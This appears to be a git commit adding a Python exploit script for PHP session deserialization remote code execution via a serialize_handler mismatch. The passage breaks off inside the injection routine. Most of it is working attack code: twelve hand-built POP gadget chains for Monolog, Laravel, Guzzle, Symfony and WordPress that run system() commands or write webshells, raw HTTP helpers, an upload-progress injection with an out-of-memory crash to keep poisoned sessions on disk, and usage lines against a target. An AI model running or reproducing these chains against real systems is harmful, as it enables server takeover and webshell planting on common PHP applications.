Session deserialization RCE via serialize_handler mismatch (no LFI)
Exploits the interaction between php_serialize and php session handlers: when one endpoint writes sessions with php_serialize (Laravel, Symfony default) and another reads with the php handler (PHP default), injected pipe characters cause arbitrary deserialization at session_start(). 12 built-in POP chains covering current and legacy library versions: - monolog3-fw: Monolog 3.0+ (tested 3.12.1, latest) - laravel10-cmd/fw: illuminate 10.0-13.x+ (tested v13.38.0, latest) - monolog-cmd/fw: Monolog 1.17.2-2.x - laravel-cmd/fw: illuminate 5.4-8.x - guzzle-fw: Guzzle 4.0-7.x - symfony-cmd/fw: Symfony 2.6-4.4.18 - wordpress-cmd/fw: WordPress 6.4.0-6.4.1 All chains tested end-to-end through the full HTTP exploit flow on PHP 8.3. Accepts custom phpggc chains via --chain-file.
This commit is contained in:
Executable
+995
@@ -0,0 +1,995 @@
|
||||
#!/usr/bin/env python3
|
||||
"""
|
||||
PHP Session Deserialization RCE via Handler Mismatch
|
||||
|
||||
No LFI. No FPM. Works on any SAPI (mod_php, FPM, litespeed, etc.).
|
||||
|
||||
Exploits the combination of:
|
||||
1. session.upload_progress writes attacker data to session files
|
||||
2. A session.serialize_handler mismatch between two endpoints
|
||||
3. A POP gadget chain in the application's autoloaded classes
|
||||
|
||||
When one endpoint uses php_serialize and another uses the default php
|
||||
handler, the pipe character '|' injected into session data is
|
||||
misinterpreted as a key/value delimiter, causing arbitrary
|
||||
deserialization of attacker-controlled objects.
|
||||
|
||||
Two injection modes:
|
||||
|
||||
inject (primary, full POP chain support)
|
||||
Target has an endpoint that stores POST data in $_SESSION via
|
||||
php_serialize handler. Attacker sends |<serialized_chain> as
|
||||
a POST value. A second request to a php-handler endpoint
|
||||
triggers deserialization when session_start() reads the file.
|
||||
|
||||
progress (no app involvement, limited chains)
|
||||
Uses session.upload_progress to inject '|' via the upload
|
||||
filename. No application session storage needed, but the
|
||||
multipart parser truncates NULL bytes in filenames, so the
|
||||
POP chain can only use public properties. Combined with
|
||||
OOM crash (CVE-2026-109618) to persist past cleanup.
|
||||
|
||||
Handler mismatch is common in the wild:
|
||||
- Laravel sets php_serialize in its bootstrap; any non-Laravel
|
||||
PHP on the same vhost (phpMyAdmin, admin scripts, legacy code)
|
||||
uses the default php handler
|
||||
- Symfony configures php_serialize; adjacent apps may not
|
||||
- Mixed old/new codebases on shared hosting
|
||||
|
||||
Requirements:
|
||||
- session.upload_progress.enabled = 1 (default, for progress mode)
|
||||
- Two endpoints with different session.serialize_handler settings
|
||||
- A POP gadget chain in autoloaded classes
|
||||
- session.save_handler = files (default)
|
||||
|
||||
Built-in chains (--chain):
|
||||
monolog3-fw Monolog 3.0+ FW (CURRENT) --write-path /path/shell.php
|
||||
monolog-cmd Monolog 1.17.2-2.x RCE --cmd 'id'
|
||||
monolog-fw Monolog 1.17.2-2.x FW --write-path /path/shell.php
|
||||
laravel10-cmd Laravel 10.0-13.x+ (CURRENT) --cmd 'id'
|
||||
laravel10-fw Laravel 10.0-13.x+ (CURRENT) --write-path /path/shell.php
|
||||
laravel-cmd Laravel/Illuminate 5.4-8.x --cmd 'id'
|
||||
laravel-fw Laravel/Illuminate 5.4-8.x --write-path /path/shell.php
|
||||
guzzle-fw Guzzle 4.0-7.x FW --write-path /path/shell.php
|
||||
symfony-cmd Symfony 2.6-4.4.18 RCE --cmd 'id'
|
||||
symfony-fw Symfony 2.6-4.4.18 FW --write-path /path/shell.php
|
||||
wordpress-cmd WordPress 6.4.0-6.4.1 RCE --cmd 'id' (NULL-free)
|
||||
wordpress-fw WordPress 6.4.0-6.4.1 FW --write-path /path/shell.php
|
||||
|
||||
Custom chains (--chain-file):
|
||||
phpggc Laravel/RCE1 system id > chain.bin
|
||||
python3 exploit.py ... --chain-file chain.bin
|
||||
|
||||
Tested: PHP 8.0-8.4, Linux, mod_php and PHP-FPM.
|
||||
|
||||
Usage:
|
||||
# Inject mode (most practical):
|
||||
python3 exploit.py --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain monolog-fw \\
|
||||
--write-path /var/www/html/s.php
|
||||
|
||||
# Inject mode with direct command execution:
|
||||
python3 exploit.py --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain monolog-cmd --cmd 'id'
|
||||
|
||||
# Custom phpggc chain (raw or base64):
|
||||
phpggc Monolog/RCE1 system id > chain.bin
|
||||
python3 exploit.py --inject-url http://target/save.php \\
|
||||
--inject-param data \\
|
||||
--trigger-url http://target/view.php \\
|
||||
--chain-file chain.bin
|
||||
|
||||
# Progress mode (no app session injection needed):
|
||||
python3 exploit.py --mode progress \\
|
||||
--write-url http://target/serialize.php \\
|
||||
--trigger-url http://target/default.php \\
|
||||
--chain-file chain_pub.bin
|
||||
"""
|
||||
|
||||
import argparse
|
||||
import base64
|
||||
import os
|
||||
import re
|
||||
import socket
|
||||
import sys
|
||||
import time
|
||||
import urllib.parse
|
||||
from urllib.parse import urlparse
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# PHP serialization
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def php_str(s):
|
||||
if isinstance(s, str):
|
||||
s = s.encode()
|
||||
return b"s:" + str(len(s)).encode() + b':"' + s + b'";'
|
||||
|
||||
def php_int(n):
|
||||
return b"i:" + str(n).encode() + b";"
|
||||
|
||||
def php_bool(v):
|
||||
return b"b:" + (b"1" if v else b"0") + b";"
|
||||
|
||||
def php_null():
|
||||
return b"N;"
|
||||
|
||||
def php_arr(entries):
|
||||
body = b"".join(k + v for k, v in entries)
|
||||
return b"a:" + str(len(entries)).encode() + b":{" + body + b"}"
|
||||
|
||||
def php_obj(cls, props):
|
||||
body = b"".join(k + v for k, v in props)
|
||||
cn = cls.encode() if isinstance(cls, str) else cls
|
||||
return (b"O:" + str(len(cn)).encode() + b':"' + cn + b'":'
|
||||
+ str(len(props)).encode() + b":{" + body + b"}")
|
||||
|
||||
def php_enum(cls, case):
|
||||
label = f"{cls}:{case}"
|
||||
return b"E:" + str(len(label)).encode() + b':"' + label.encode() + b'";'
|
||||
|
||||
def php_datetime_immutable():
|
||||
from datetime import datetime, timezone
|
||||
now = datetime.now(timezone.utc).strftime("%Y-%m-%d %H:%M:%S.000000")
|
||||
return php_obj("DateTimeImmutable", [
|
||||
(php_str("date"), php_str(now)),
|
||||
(php_str("timezone_type"), php_int(3)),
|
||||
(php_str("timezone"), php_str("UTC")),
|
||||
])
|
||||
|
||||
def prot(name):
|
||||
n = name.encode() if isinstance(name, str) else name
|
||||
return php_str(b"\x00*\x00" + n)
|
||||
|
||||
def priv(cls, name):
|
||||
c = cls.encode() if isinstance(cls, str) else cls
|
||||
n = name.encode() if isinstance(name, str) else name
|
||||
return php_str(b"\x00" + c + b"\x00" + n)
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# POP gadget chains
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def _rce1_chain(func, param):
|
||||
"""Monolog/RCE1 gadget (1.4.1-1.6.0, 1.17.2-2.7.0+).
|
||||
|
||||
SyslogUdpHandler.__destruct (inherited AbstractHandler.__destruct)
|
||||
-> close()
|
||||
-> $this->socket->close() socket = BufferHandler
|
||||
BufferHandler::close -> flush
|
||||
-> $this->handler->handleBatch($this->buffer) handler = $this (self-ref)
|
||||
AbstractHandler::handleBatch -> foreach handle($record)
|
||||
BufferHandler::handle -> call_user_func($processor, $record) for each processor
|
||||
processors[0] = 'current' -> current([$param, 'level'=>null]) = $param
|
||||
processors[1] = $func -> $func($param)
|
||||
"""
|
||||
# r:2 is a PHP serialization back-reference to object #2, the BufferHandler
|
||||
# itself. This creates the self-referencing handler=$this that phpggc uses.
|
||||
# We build it by hand: emit SyslogUdpHandler wrapping BufferHandler,
|
||||
# with handler pointing back to the BufferHandler via reference.
|
||||
|
||||
record = php_arr([
|
||||
(php_int(0), php_str(param)),
|
||||
(php_str("level"), php_null()),
|
||||
])
|
||||
|
||||
buf = php_obj("Monolog\\Handler\\BufferHandler", [
|
||||
(prot("handler"), b"r:2;"), # back-ref to self (object index 2)
|
||||
(prot("bufferSize"), php_int(-1)),
|
||||
(prot("buffer"), php_arr([(php_int(0), record)])),
|
||||
(prot("level"), php_null()),
|
||||
(prot("initialized"), php_bool(True)),
|
||||
(prot("bufferLimit"), php_int(-1)),
|
||||
(prot("processors"), php_arr([
|
||||
(php_int(0), php_str("current")),
|
||||
(php_int(1), php_str(func)),
|
||||
])),
|
||||
])
|
||||
|
||||
return php_obj("Monolog\\Handler\\SyslogUdpHandler", [
|
||||
(prot("socket"), buf),
|
||||
])
|
||||
|
||||
|
||||
def chain_monolog_fw(write_path, shell_code):
|
||||
"""Monolog file write via system() (1.4.1-1.6.0, 1.17.2-2.x).
|
||||
|
||||
Uses the Monolog/RCE1 gadget to call system() with a printf command
|
||||
that writes shell_code to write_path.
|
||||
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return _rce1_chain("system", cmd)
|
||||
|
||||
|
||||
def chain_monolog_cmd(cmd):
|
||||
"""Monolog RCE via system() (1.4.1-1.6.0, 1.17.2-2.x).
|
||||
|
||||
Uses the Monolog/RCE1 gadget to call system($cmd).
|
||||
Requires monolog/monolog (production dep in Laravel, Symfony, etc.).
|
||||
"""
|
||||
return _rce1_chain("system", cmd)
|
||||
|
||||
|
||||
def chain_monolog3_fw(write_path, shell_code):
|
||||
"""Monolog file write via DeduplicationHandler (3.0.0+, current).
|
||||
|
||||
GroupHandler.__destruct (inherited from Handler)
|
||||
-> close()
|
||||
-> foreach $this->handlers: $handler->close()
|
||||
DeduplicationHandler::close -> flush()
|
||||
-> file_put_contents($this->deduplicationStore, $line, FILE_APPEND)
|
||||
Written format: "timestamp:DEBUG:message\\n"
|
||||
PHP ignores content before <?php, so the prefix is harmless.
|
||||
|
||||
Monolog 3.x uses typed properties (PHP 8.1+ enums for Level),
|
||||
so the Monolog 2.x RCE1 chain fails. This chain uses GroupHandler
|
||||
as entry (array-typed handlers property) and DeduplicationHandler
|
||||
as sink (file_put_contents with controlled path and message).
|
||||
|
||||
Requires monolog/monolog 3.0+ (production dep in Laravel 10+,
|
||||
Symfony 6+, and many other frameworks).
|
||||
"""
|
||||
shell_code_clean = shell_code.replace("\r", " ").replace("\n", " ")
|
||||
|
||||
log_record = php_obj("Monolog\\LogRecord", [
|
||||
(php_str("level"), php_enum("Monolog\\Level", "Debug")),
|
||||
(php_str("message"), php_str(shell_code_clean)),
|
||||
(php_str("datetime"), php_datetime_immutable()),
|
||||
])
|
||||
|
||||
dedup = php_obj("Monolog\\Handler\\DeduplicationHandler", [
|
||||
(prot("deduplicationStore"), php_str(write_path)),
|
||||
(prot("bufferSize"), php_int(1)),
|
||||
(prot("buffer"), php_arr([(php_int(0), log_record)])),
|
||||
(prot("deduplicationLevel"), php_enum("Monolog\\Level", "Debug")),
|
||||
])
|
||||
|
||||
return php_obj("Monolog\\Handler\\GroupHandler", [
|
||||
(prot("handlers"), php_arr([(php_int(0), dedup)])),
|
||||
])
|
||||
|
||||
|
||||
def chain_laravel_cmd(cmd):
|
||||
"""Laravel RCE via PendingBroadcast (5.4.0-8.6.9+).
|
||||
|
||||
PendingBroadcast.__destruct
|
||||
-> $this->events->dispatch($this->event)
|
||||
Dispatcher::dispatch($event)
|
||||
-> foreach $this->listeners[$event] as $listener: $listener($event)
|
||||
-> system($cmd)
|
||||
|
||||
$this->event = $cmd (the command string)
|
||||
$this->listeners[$cmd] = ['system']
|
||||
|
||||
Requires illuminate/events + illuminate/broadcasting
|
||||
(always present in Laravel).
|
||||
"""
|
||||
dispatcher = php_obj("Illuminate\\Events\\Dispatcher", [
|
||||
(prot("listeners"), php_arr([
|
||||
(php_str(cmd), php_arr([
|
||||
(php_int(0), php_str("system")),
|
||||
])),
|
||||
])),
|
||||
])
|
||||
|
||||
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
|
||||
(prot("events"), dispatcher),
|
||||
(prot("event"), php_str(cmd)),
|
||||
])
|
||||
|
||||
|
||||
def chain_laravel_fw(write_path, shell_code):
|
||||
"""Laravel file write via system() (5.4.0-8.6.9+).
|
||||
|
||||
Same PendingBroadcast gadget, calls system() with a write command.
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return chain_laravel_cmd(cmd)
|
||||
|
||||
|
||||
def chain_laravel10_cmd(cmd):
|
||||
"""Laravel RCE via PendingBroadcast + CommonMark (10.0-13.x+, current).
|
||||
|
||||
PendingBroadcast.__destruct
|
||||
-> $this->events->dispatch($this->event)
|
||||
Environment::dispatch($event)
|
||||
-> foreach listenerData as prioritized listeners
|
||||
-> ListenerData->listener is ChainedBatchTruthTest
|
||||
ChainedBatchTruthTest::__invoke($event)
|
||||
-> call_user_func($this->callback, $event)
|
||||
-> system($cmd)
|
||||
|
||||
Channel.__toString returns $this->name, so $event becomes the
|
||||
command string when passed to system().
|
||||
|
||||
Requires illuminate/broadcasting + league/commonmark (both present
|
||||
in all Laravel 10+ installations).
|
||||
"""
|
||||
env_cls = "League\\CommonMark\\Environment\\Environment"
|
||||
list_cls = "League\\CommonMark\\Util\\PrioritizedList"
|
||||
ld_cls = "League\\CommonMark\\Event\\ListenerData"
|
||||
|
||||
truth_test = php_obj(
|
||||
"Illuminate\\Support\\Testing\\Fakes\\ChainedBatchTruthTest", [
|
||||
(prot("callback"), php_str("system")),
|
||||
])
|
||||
|
||||
listener_data = php_obj(ld_cls, [
|
||||
(priv(ld_cls, "event"),
|
||||
php_str("\\Illuminate\\Broadcasting\\Channel")),
|
||||
(priv(ld_cls, "listener"), truth_test),
|
||||
])
|
||||
|
||||
plist = php_obj(list_cls, [
|
||||
(priv(list_cls, "list"), php_arr([
|
||||
(php_int(0), php_arr([(php_int(0), listener_data)])),
|
||||
])),
|
||||
])
|
||||
|
||||
environment = php_obj(env_cls, [
|
||||
(priv(env_cls, "extensionsInitialized"), php_bool(True)),
|
||||
(priv(env_cls, "listenerData"), plist),
|
||||
])
|
||||
|
||||
channel = php_obj("Illuminate\\Broadcasting\\Channel", [
|
||||
(php_str("name"), php_str(cmd)),
|
||||
])
|
||||
|
||||
return php_obj("Illuminate\\Broadcasting\\PendingBroadcast", [
|
||||
(prot("events"), environment),
|
||||
(prot("event"), channel),
|
||||
])
|
||||
|
||||
|
||||
def chain_laravel10_fw(write_path, shell_code):
|
||||
"""Laravel file write via system() (10.0-13.x+, current).
|
||||
|
||||
Same PendingBroadcast + CommonMark gadget, calls system() with a
|
||||
write command.
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return chain_laravel10_cmd(cmd)
|
||||
|
||||
|
||||
def chain_guzzle_fw(write_path, data):
|
||||
"""Guzzle file write via FileCookieJar (4.0.0-7.x, patched in 8.0).
|
||||
|
||||
FileCookieJar.__destruct -> save()
|
||||
-> file_put_contents($this->filename, json_encode(...))
|
||||
Writes JSON-encoded cookie data. The 'Value' field holds the payload.
|
||||
|
||||
The written file contains JSON wrapping around the payload.
|
||||
PHP ignores everything before <?php, so a webshell embedded in the
|
||||
Value field works when accessed via HTTP. Use single quotes in the
|
||||
shell code to avoid JSON backslash escaping (double quotes become
|
||||
\" in JSON output, which breaks PHP parsing).
|
||||
|
||||
Guzzle 8.0+ added __unserialize() that throws on deserialization.
|
||||
|
||||
Requires guzzlehttp/guzzle (extremely common HTTP client).
|
||||
"""
|
||||
cookie = php_obj("GuzzleHttp\\Cookie\\SetCookie", [
|
||||
(priv("GuzzleHttp\\Cookie\\SetCookie", "data"), php_arr([
|
||||
(php_str("Expires"), php_int(1)),
|
||||
(php_str("Discard"), php_bool(False)),
|
||||
(php_str("Value"), php_str(data)),
|
||||
])),
|
||||
])
|
||||
|
||||
jar = php_obj("GuzzleHttp\\Cookie\\FileCookieJar", [
|
||||
(priv("GuzzleHttp\\Cookie\\CookieJar", "cookies"), php_arr([
|
||||
(php_int(0), cookie),
|
||||
])),
|
||||
(priv("GuzzleHttp\\Cookie\\CookieJar", "strictMode"), php_bool(False)),
|
||||
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "filename"), php_str(write_path)),
|
||||
(priv("GuzzleHttp\\Cookie\\FileCookieJar", "storeSessionCookies"), php_bool(True)),
|
||||
])
|
||||
|
||||
return jar
|
||||
|
||||
|
||||
def chain_symfony_cmd(cmd):
|
||||
"""Symfony RCE via WindowsPipes (2.6.0-4.4.18).
|
||||
|
||||
WindowsPipes.__destruct -> close -> foreach $this->fileHandles: fclose($h)
|
||||
$fileHandles is a SortableIterator wrapping an ArrayObject:
|
||||
SortableIterator implements IteratorAggregate
|
||||
getIterator() calls usort($array, $this->sort) where sort='call_user_func'
|
||||
usort compares elements via call_user_func($a, $b)
|
||||
ArrayObject contains [$function, $parameter]
|
||||
-> call_user_func('system', $cmd)
|
||||
|
||||
Requires symfony/finder + symfony/process (present in all Symfony apps).
|
||||
"""
|
||||
arr = php_obj("ArrayObject", [
|
||||
(php_int(0), php_str(cmd)),
|
||||
(php_int(1), php_str("system")),
|
||||
])
|
||||
|
||||
# ArrayObject serializes differently: uses C: format
|
||||
# We need to use the C: custom serialization format for ArrayObject
|
||||
# Use O: format (works for ArrayObject deserialization):
|
||||
# i:0 = flags(0), i:1 = storage array, i:2 = members(empty), i:3 = null
|
||||
# Storage: [0 => $func, 1 => $param] so uasort compares call_user_func($func, $param)
|
||||
arr = (b'O:11:"ArrayObject":4:{i:0;i:0;i:1;a:2:{i:0;s:6:"system";i:1;'
|
||||
+ php_str(cmd) + b"}i:2;a:0:{}i:3;N;}")
|
||||
|
||||
sortable = php_obj("Symfony\\Component\\Finder\\Iterator\\SortableIterator", [
|
||||
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "iterator"), arr),
|
||||
(priv("Symfony\\Component\\Finder\\Iterator\\SortableIterator", "sort"), php_str("call_user_func")),
|
||||
])
|
||||
|
||||
return php_obj("Symfony\\Component\\Process\\Pipes\\WindowsPipes", [
|
||||
(priv("Symfony\\Component\\Process\\Pipes\\WindowsPipes", "fileHandles"), sortable),
|
||||
])
|
||||
|
||||
|
||||
def chain_symfony_fw(write_path, shell_code):
|
||||
"""Symfony file write via system() (2.6.0-4.4.18).
|
||||
|
||||
Same WindowsPipes gadget, calls system() with a write command.
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return chain_symfony_cmd(cmd)
|
||||
|
||||
|
||||
def chain_wordpress_cmd(cmd):
|
||||
"""WordPress RCE via WP_HTML_Token (6.4.0-6.4.1).
|
||||
|
||||
WP_HTML_Token.__destruct
|
||||
-> ($this->on_destroy)($this->bookmark_name)
|
||||
-> system($cmd)
|
||||
|
||||
Uses only PUBLIC properties, so this chain works in progress mode
|
||||
(no NULL bytes from protected/private property names).
|
||||
|
||||
Requires WordPress 6.4.0 or 6.4.1 (patched in 6.4.2).
|
||||
"""
|
||||
return php_obj("WP_HTML_Token", [
|
||||
(php_str("bookmark_name"), php_str(cmd)),
|
||||
(php_str("on_destroy"), php_str("system")),
|
||||
])
|
||||
|
||||
|
||||
def chain_wordpress_fw(write_path, shell_code):
|
||||
"""WordPress file write via WP_HTML_Token (6.4.0-6.4.1).
|
||||
|
||||
Same gadget, calls system() with a write command.
|
||||
Public properties only: works in progress mode.
|
||||
"""
|
||||
escaped_code = shell_code.replace("'", "'\\''")
|
||||
escaped_path = write_path.replace("'", "'\\''")
|
||||
cmd = f"printf '%s' '{escaped_code}' > '{escaped_path}'"
|
||||
return chain_wordpress_cmd(cmd)
|
||||
|
||||
|
||||
CHAINS = {
|
||||
"monolog3-fw": {"type": "fw", "fn": chain_monolog3_fw, "lib": "monolog/monolog 3.0+"},
|
||||
"monolog-cmd": {"type": "cmd", "fn": chain_monolog_cmd, "lib": "monolog/monolog 1.17.2-2.x"},
|
||||
"monolog-fw": {"type": "fw", "fn": chain_monolog_fw, "lib": "monolog/monolog 1.17.2-2.x"},
|
||||
"laravel10-cmd": {"type": "cmd", "fn": chain_laravel10_cmd, "lib": "illuminate 10.0-13.x+"},
|
||||
"laravel10-fw": {"type": "fw", "fn": chain_laravel10_fw, "lib": "illuminate 10.0-13.x+"},
|
||||
"laravel-cmd": {"type": "cmd", "fn": chain_laravel_cmd, "lib": "illuminate 5.4-8.x"},
|
||||
"laravel-fw": {"type": "fw", "fn": chain_laravel_fw, "lib": "illuminate 5.4-8.x"},
|
||||
"guzzle-fw": {"type": "fw", "fn": chain_guzzle_fw, "lib": "guzzlehttp/guzzle 4.0-7.x"},
|
||||
"symfony-cmd": {"type": "cmd", "fn": chain_symfony_cmd, "lib": "symfony 2.6-4.4.18"},
|
||||
"symfony-fw": {"type": "fw", "fn": chain_symfony_fw, "lib": "symfony 2.6-4.4.18"},
|
||||
"wordpress-cmd": {"type": "cmd", "fn": chain_wordpress_cmd, "lib": "WordPress 6.4.0-6.4.1"},
|
||||
"wordpress-fw": {"type": "fw", "fn": chain_wordpress_fw, "lib": "WordPress 6.4.0-6.4.1"},
|
||||
}
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# HTTP helpers (raw sockets for binary payloads)
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def tcp_connect(host, port, tls, timeout=30):
|
||||
sock = socket.create_connection((host, port), timeout=timeout)
|
||||
if tls:
|
||||
import ssl
|
||||
ctx = ssl.create_default_context()
|
||||
ctx.check_hostname = False
|
||||
ctx.verify_mode = ssl.CERT_NONE
|
||||
sock = ctx.wrap_socket(sock, server_hostname=host)
|
||||
return sock
|
||||
|
||||
|
||||
def recv_all(sock, timeout=10):
|
||||
resp = b""
|
||||
sock.settimeout(timeout)
|
||||
try:
|
||||
while True:
|
||||
d = sock.recv(8192)
|
||||
if not d:
|
||||
break
|
||||
resp += d
|
||||
except socket.timeout:
|
||||
pass
|
||||
return resp
|
||||
|
||||
|
||||
def status_code(resp):
|
||||
try:
|
||||
return int(resp.split(b" ")[1])
|
||||
except (IndexError, ValueError):
|
||||
return 0
|
||||
|
||||
|
||||
def body_of(resp):
|
||||
if b"\r\n\r\n" not in resp:
|
||||
return resp
|
||||
hdr, raw = resp.split(b"\r\n\r\n", 1)
|
||||
if b"transfer-encoding: chunked" in hdr.lower():
|
||||
out, data = b"", raw
|
||||
while data:
|
||||
nl = data.find(b"\r\n")
|
||||
if nl < 0:
|
||||
break
|
||||
try:
|
||||
clen = int(data[:nl].split(b";")[0].strip(), 16)
|
||||
except ValueError:
|
||||
break
|
||||
if clen == 0:
|
||||
break
|
||||
out += data[nl+2:nl+2+clen]
|
||||
data = data[nl+2+clen+2:]
|
||||
return out
|
||||
return raw
|
||||
|
||||
|
||||
def extract_cookies(resp):
|
||||
cookies = {}
|
||||
for line in resp.split(b"\r\n"):
|
||||
if line.lower().startswith(b"set-cookie:"):
|
||||
cookie_str = line.split(b":", 1)[1].strip()
|
||||
kv = cookie_str.split(b";")[0]
|
||||
if b"=" in kv:
|
||||
k, v = kv.split(b"=", 1)
|
||||
cookies[k.strip().decode()] = v.strip().decode()
|
||||
return cookies
|
||||
|
||||
|
||||
def http_get(host, port, tls, path, cookies=None, timeout=10):
|
||||
sock = tcp_connect(host, port, tls, timeout)
|
||||
req = (
|
||||
b"GET " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
)
|
||||
if cookies:
|
||||
req += b"Cookie: " + cookies.encode() + b"\r\n"
|
||||
req += b"Connection: close\r\n\r\n"
|
||||
sock.sendall(req)
|
||||
resp = recv_all(sock, timeout)
|
||||
sock.close()
|
||||
return resp
|
||||
|
||||
|
||||
def http_post_form(host, port, tls, path, body_bytes, cookies=None, timeout=10):
|
||||
sock = tcp_connect(host, port, tls, timeout)
|
||||
req = (
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: application/x-www-form-urlencoded\r\n"
|
||||
b"Content-Length: " + str(len(body_bytes)).encode() + b"\r\n"
|
||||
)
|
||||
if cookies:
|
||||
req += b"Cookie: " + cookies.encode() + b"\r\n"
|
||||
req += b"Connection: close\r\n\r\n"
|
||||
sock.sendall(req + body_bytes)
|
||||
resp = recv_all(sock, timeout)
|
||||
sock.close()
|
||||
return resp
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# Progress mode: multipart with upload progress + OOM
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def escape_filename(raw):
|
||||
"""Escape bytes for Content-Disposition filename= quoted string.
|
||||
NULL bytes are NOT supported (PHP truncates at \\x00)."""
|
||||
out = b""
|
||||
for byte in raw:
|
||||
if byte == ord('"'):
|
||||
out += b'\\"'
|
||||
elif byte == ord('\\'):
|
||||
out += b'\\\\'
|
||||
elif byte == 0:
|
||||
raise ValueError("NULL bytes cannot appear in multipart filenames")
|
||||
else:
|
||||
out += bytes([byte])
|
||||
return out
|
||||
|
||||
|
||||
def mp_field(bnd, name, value):
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + name + b'"\r\n'
|
||||
b"\r\n" + value + b"\r\n")
|
||||
|
||||
|
||||
def mp_file_with_name(bnd, fieldname, filename_raw, content):
|
||||
escaped = escape_filename(filename_raw)
|
||||
return (b"--" + bnd + b"\r\n"
|
||||
b'Content-Disposition: form-data; name="' + fieldname
|
||||
+ b'"; filename="' + escaped + b'"\r\n'
|
||||
b"Content-Type: application/octet-stream\r\n"
|
||||
b"\r\n" + content + b"\r\n")
|
||||
|
||||
|
||||
def mp_end(bnd):
|
||||
return b"--" + bnd + b"--\r\n"
|
||||
|
||||
|
||||
def progress_inject_oom(host, port, tls, path, sid, chain_bytes,
|
||||
fields=30000, fsize=512):
|
||||
"""Inject chain via upload progress filename + OOM crash.
|
||||
|
||||
The filename contains |<chain>. PHP stores it in the upload
|
||||
progress data in the session file. OOM crash skips cleanup,
|
||||
leaving the poisoned session on disk.
|
||||
|
||||
NOTE: chain_bytes must not contain NULL bytes (multipart parser
|
||||
limitation). Use only chains with public properties.
|
||||
"""
|
||||
bnd = b"----DESER" + os.urandom(8).hex().encode()
|
||||
filename_payload = b"x|" + chain_bytes
|
||||
|
||||
body = b""
|
||||
body += mp_field(bnd, b"PHP_SESSION_UPLOAD_PROGRESS", b"deser")
|
||||
body += mp_file_with_name(bnd, b"file", filename_payload, b"\x00" * 4096)
|
||||
for i in range(fields):
|
||||
body += mp_field(bnd, f"p{i:06d}".encode(), b"X" * fsize)
|
||||
body += mp_end(bnd)
|
||||
|
||||
sock = tcp_connect(host, port, tls, timeout=120)
|
||||
sock.sendall(
|
||||
b"POST " + path.encode() + b" HTTP/1.1\r\n"
|
||||
b"Host: " + host.encode() + b"\r\n"
|
||||
b"Content-Type: multipart/form-data; boundary=" + bnd + b"\r\n"
|
||||
b"Content-Length: " + str(len(body)).encode() + b"\r\n"
|
||||
b"Cookie: PHPSESSID=" + sid.encode() + b"\r\n"
|
||||
b"Connection: close\r\n\r\n"
|
||||
)
|
||||
try:
|
||||
sock.sendall(body)
|
||||
except (BrokenPipeError, ConnectionResetError, OSError):
|
||||
pass
|
||||
resp = recv_all(sock, timeout=10)
|
||||
sock.close()
|
||||
return status_code(resp)
|
||||
|
||||
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
# Exploit logic
|
||||
# ═══════════════════════════════════════════════════════════════════════
|
||||
|
||||
def run_inject(args, chain_bytes):
|
||||
"""Inject mode: POST chain into session, trigger via handler mismatch."""
|
||||
inj = urlparse(args.inject_url)
|
||||
trg = urlparse(args.trigger_url)
|
||||
inj_tls = inj.scheme == "https"
|
||||
trg_tls = trg.scheme == "https"
|
||||
inj_host = inj.hostname or "127.0.0.1"
|
||||
trg_host = trg.hostname or "127.0.0.1"
|
||||
inj_port = inj.port or (443 if inj_tls else 80)
|
||||
trg_port = trg.port or (443 if trg_tls else 80)
|
||||
inj_path = inj.path or "/"
|
||||
trg_path = trg.path or "/"
|
||||
if inj.query:
|
||||
inj_path += "?" + inj.query
|
||||
if trg.query:
|
||||
trg_path += "?" + trg.query
|
||||
|
||||
# The payload: | followed by serialized chain
|
||||
# When php_serialize stores this in the session file as a
|
||||
# length-prefixed string, the | is preserved. When the php
|
||||
# handler reads the file, it finds | and deserializes what follows.
|
||||
payload = b"|" + chain_bytes
|
||||
|
||||
print("[*] Phase 1: obtaining session ID from inject endpoint...")
|
||||
probe = http_get(inj_host, inj_port, inj_tls, inj_path, timeout=5)
|
||||
cookies = extract_cookies(probe)
|
||||
sid = cookies.get("PHPSESSID", os.urandom(16).hex())
|
||||
print(f" PHPSESSID: {sid}")
|
||||
|
||||
print(f"[*] Phase 2: injecting serialized chain via '{args.inject_param}'...")
|
||||
print(f" Payload size: {len(payload)} bytes")
|
||||
|
||||
# URL-encode the binary payload for form POST
|
||||
encoded_param = args.inject_param.encode() + b"="
|
||||
encoded_value = urllib.parse.quote(payload, safe=b"").encode()
|
||||
